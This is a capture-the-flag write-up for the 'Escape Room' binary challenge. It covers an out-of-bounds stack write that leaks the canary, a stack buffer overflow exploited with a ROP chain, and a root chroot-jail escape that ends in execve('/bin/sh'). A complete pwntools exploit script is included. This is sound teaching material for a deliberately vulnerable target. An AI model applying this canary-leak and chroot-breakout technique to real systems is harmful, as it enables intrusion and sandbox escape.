Skip to content

Escape Room

Upon executing the provided binary, we are prompted to decrypt a ciphertext:

└─$ ./prob           
[*] Welcome Escape Room Challenge
================================================================
=============================STAGE1=============================
================================================================
[*] Decrypt the cipher text : VwdjhRqhRiHvfdshUrrp
[*] Input your answer.
[>] a
[!] Nope :(

After some reverse engineering, we find that the ciphertext is "encrypted" with ROT-3, and the plaintext is StageOneOfEscapeRoom.

Next, we are asked to enter a "Stage1 key":

[*] Decrypt the cipher text : VwdjhRqhRiHvfdshUrrp
[*] Input your answer.
[>] StageOneOfEscapeRoom
[*] You clear stage1
[*] Stage1 Key : @j?r]
[>] Give me key of Stage1 :

This is weird, as the key was printed in the previous line: @j?r]

Let's have a closer look at the decompilation of the main function:

c
int i_1; // [rsp+0h] [rbp-30h]
int i; // [rsp+4h] [rbp-2Ch]
char expected_key[5]; // [rsp+15h] [rbp-1Bh] BYREF
char input_key[5]; // [rsp+1Ah] [rbp-16h] BYREF
_BYTE message[9]; // [rsp+1Fh] [rbp-11h] BYREF
unsigned __int64 canary; // [rsp+28h] [rbp-8h]

strcpy(message, "Clear!!!!");
i_1 = 0;

while ( 1 )
{
  if ( (unsigned int)stage1() )
  {
    for ( i = i_1; i <= i_1 + 4; ++i )
      expected_key[i] = key_gen();
    printf("[*] Stage1 Key : %s\n", expected_key);
    i_1 += 5;
  }
  printf("[>] Give me key of Stage1 : ");
  read(0, input_key, 5u);
  if ( !(unsigned int)j_strncmp_ifunc(expected_key, input_key, 5) )
    break;
  puts("[!] Stage 1 Failed :(");
}

Note that the for loop starts from i = i_1 instead of i = 0. Additionally, i_1 is incremented by 5 after Stage1 key attempt. Thus, out of bounds access to expected_key occurs on subsequent attempts.

This allows us to write non-zero bytes to the stack space between expected_key and the canary, thus leaking the canary when expected_key is printed.

python
p = setup()
p.sendlineafter("answer", "StageOneOfEscapeRoom")
seed(0)
key = bytes(gen() for _ in range(5))
print(key)
for i in range(3):
    p.sendlineafter(b"Give", b"AAAA")
    p.sendlineafter("answer", "StageOneOfEscapeRoom")
p.recvuntil(b"Stage1 Key : ")
r = p.recvuntil("[>]")[:-4]
canary = u64(b"\0"+r[-8:-1])
print(hex(canary))

ROP

Moving over to stage2, we observe a buffer overflow vulnerability:

c
__int64 stage2()
{
  __int64 v0; // rdi
  int v1; // eax
  char p_n10; // [rsp+Fh] [rbp-221h] BYREF
  __int64 length; // [rsp+10h] [rbp-220h] BYREF
  __int64 v5; // [rsp+18h] [rbp-218h]
  char route[520]; // [rsp+20h] [rbp-210h] BYREF
  unsigned __int64 canary; // [rsp+228h] [rbp-8h]

  canary = __readfsqword(0x28u);
  while ( read(0, &p_n10, 1u) == 1 && p_n10 != 10 )
    ;
  puts("================================================================");
  puts("=============================STAGE2=============================");
  puts("================================================================");
  length = 0;
  v5 = 0;
  v0 = (unsigned int)time(0);
  srandom(v0);
  s2_init_map();
  s2_print_map(v0, (int)&p_n10);
  printf("[>] Input your route length : ");
  _isoc99_scanf("%d", &length);
  printf("[>] Input your route(e.g. w: Up / a: Left / s: Down / d: Right): ");
  do
  {
    v1 = read(0, &route[v5], length - v5);
    v5 += v1;
  }
  while ( v5 != length );
  s2_process_commands(route);
  if ( s2_check_win() )
  {
    puts("[*] You Win!");
    return 1;
  }
  else
  {
    puts("[*] You Fail!");
    return 0;
  }
}

The length entered by the user is not checked against the size of the buffer before user input is read into the buffer.

Since the binary is statically compiled, there are plenty of gadgets available.

chroot escape

However, if one were to attempt a simple system("/bin/sh") ROP chain, they would find that the resultant shell is essentially useless. The only available binaries are timeout and socket.

This is a result of the chroot jail setup by the binary:

c
__int64 sandbox()
{
  return chroot("/root/room/");
}
docker
RUN mkdir -p /root/room/bin \
             /root/room/lib/x86_64-linux-gnu \
             /root/room/lib64 \
 && cp /bin/sh                          /root/room/bin/ \
 && cp /usr/bin/socat                   /root/room/bin/socket \
 && cp /usr/bin/timeout                 /root/room/bin/timeout \

However, we are still the root user within the container, so it should be possible to breakout of the chroot jail.

With some research, we find that we can escape a chroot using the following code:

c
int main() {
    int dir_fd, x;
    mkdir(".42", 0755);
    chroot(".42");
    for(x = 0; x < 1000; x++) chdir("..");
    chroot(".");  
    return execl("/bin/sh", "-i", NULL);
}

Translating this into a ROP chain, we have:

py
pop_rax = 0x0000000000459ac7
pop_rdi = 0x0000000000402ecf
pop_rsi = 0x000000000040b1be
pop_rdx = 0x000000000046d362
read = 0x459060

rop = ROP(e)
rop.call(read, (0, writable, 0x100 ))
rop.raw(pop_rax)
rop.raw(83)
rop.call(syscall, (writable+15,0o777)) # mkdir(".42", 0o777)
rop.call(e.sym.chroot,(writable+15,)) # chroot(".42")
for _ in range(20):
    rop.raw(pop_rax)
    rop.raw(80) 
    rop.call(syscall, (writable+10,)) # chdir("..")
rop.call(e.sym.chroot,( writable+13,)) # chroot(".")

pl += rop.chain()
pl2 = b""
pl2 += p64(pop_rax)
pl2 += p64(59)
pl2 += p64(pop_rdi)
pl2 += p64(writable)
pl2 += p64(pop_rsi)
pl2 += p64(0)
pl2 += p64(pop_rdx)
pl2 += p64(0)
pl2 += p64(syscall) # execve("/bin/sh", 0, 0)
pl += pl2
p.sendlineafter(b"length", str(len(pl)+1).encode())
p.sendlineafter(b"route", pl)
pause()
p.sendline(b"/bin/sh\0\0\0..\0.\0.42\0")


p.interactive()

While this works locally, for some reason it failed on the server.

After more debugging (and ROP chain writing), it seems that the mkdir syscall was failing.

However, the mkdir syscall is not actually required, as we can use the bin directory that already exists!

We can easily modify the exploit to use bin:

py
pop_rax = 0x0000000000459ac7
pop_rdi = 0x0000000000402ecf
pop_rsi = 0x000000000040b1be
pop_rdx = 0x000000000046d362
read = 0x459060

rop = ROP(e)
rop.call(read, (0, writable, 0x100 ))
rop.call(e.sym.chroot,(writable+15,)) # chroot("bin")
for _ in range(20):
    rop.raw(pop_rax)
    rop.raw(80) 
    rop.call(syscall, (writable+10,)) # chdir("..")
rop.call(e.sym.chroot,( writable+13,)) # chroot(".")

pl += rop.chain()
pl2 = b""
pl2 += p64(pop_rax)
pl2 += p64(59)
pl2 += p64(pop_rdi)
pl2 += p64(writable)
pl2 += p64(pop_rsi)
pl2 += p64(0)
pl2 += p64(pop_rdx)
pl2 += p64(0)
pl2 += p64(syscall) # execve("/bin/sh", 0, 0)
pl += pl2
p.sendlineafter(b"length", str(len(pl)+1).encode())
p.sendlineafter(b"route", pl)
pause()
p.sendline(b"/bin/sh\0\0\0..\0.\0bin\0")


p.interactive()

Exploit script

python

from pwn import *

e = ELF("prob")
context.binary = e

import ctypes
import ctypes.util
from ctypes import c_uint, c_int, c_long

libc = ctypes.CDLL(ctypes.util.find_library("c"))

libc.time.argtypes = [ctypes.POINTER(c_long)]
libc.time.restype = c_long
libc.srand.argtypes = [c_uint]
libc.srand.restype = None
libc.rand.argtypes = []
libc.rand.restype = c_int

def seed(time_offset=0):
    current_time = libc.time(None)
    adjusted_time = current_time + time_offset
    
    libc.srand(c_uint(adjusted_time & 0xFFFFFFFF))

def gen():
    random_val = libc.rand()
    result = (random_val % 95) + 32
    
    return result

def setup():
    #p = remote("chal.h4c.cddc2025.xyz", 61738)
    p = remote("localhost", 35001)
    return p

rop = ROP(e)

syscall = 0x00000000004242c6

writable = 0x00000000004e7000+0x300

if __name__ == '__main__':
    p = setup()
    p.sendlineafter("answer", "StageOneOfEscapeRoom")
    seed(0)
    key = bytes(gen() for _ in range(5))
    for i in range(3):
        p.sendlineafter(b"Give", b"AAAA")
        p.sendlineafter("answer", "StageOneOfEscapeRoom")
    p.recvuntil(b"Stage1 Key : ")
    r = p.recvuntil("[>]")[:-4]
    canary = u64(b"\0"+r[-8:-1])
    print(hex(canary))
    p.sendlineafter(b"Give", key)
    pl = b"a"*0x208+p64(canary)+p64(0)
  

    pop_rax = 0x0000000000459ac7
    pop_rdi = 0x0000000000402ecf
    pop_rsi = 0x000000000040b1be
    pop_rdx = 0x000000000046d362
    read = 0x459060

    rop = ROP(e)
    rop.call(read, (0, writable, 0x100 ))
    rop.call(e.sym.chroot,(writable+15,)) # chroot("bin")
    for _ in range(20):
        rop.raw(pop_rax)
        rop.raw(80) 
        rop.call(syscall, (writable+10,)) # chdir("..")
    rop.call(e.sym.chroot,( writable+13,)) # chroot(".")

    pl += rop.chain()
    pl2 = b""
    pl2 += p64(pop_rax)
    pl2 += p64(59)
    pl2 += p64(pop_rdi)
    pl2 += p64(writable)
    pl2 += p64(pop_rsi)
    pl2 += p64(0)
    pl2 += p64(pop_rdx)
    pl2 += p64(0)
    pl2 += p64(syscall) # execve("/bin/sh", 0, 0)
    pl += pl2
    p.sendlineafter(b"length", str(len(pl)+1).encode())
    p.sendlineafter(b"route", pl)
    pause()
    p.sendline(b"/bin/sh\0\0\0..\0.\0bin\0")


    p.interactive()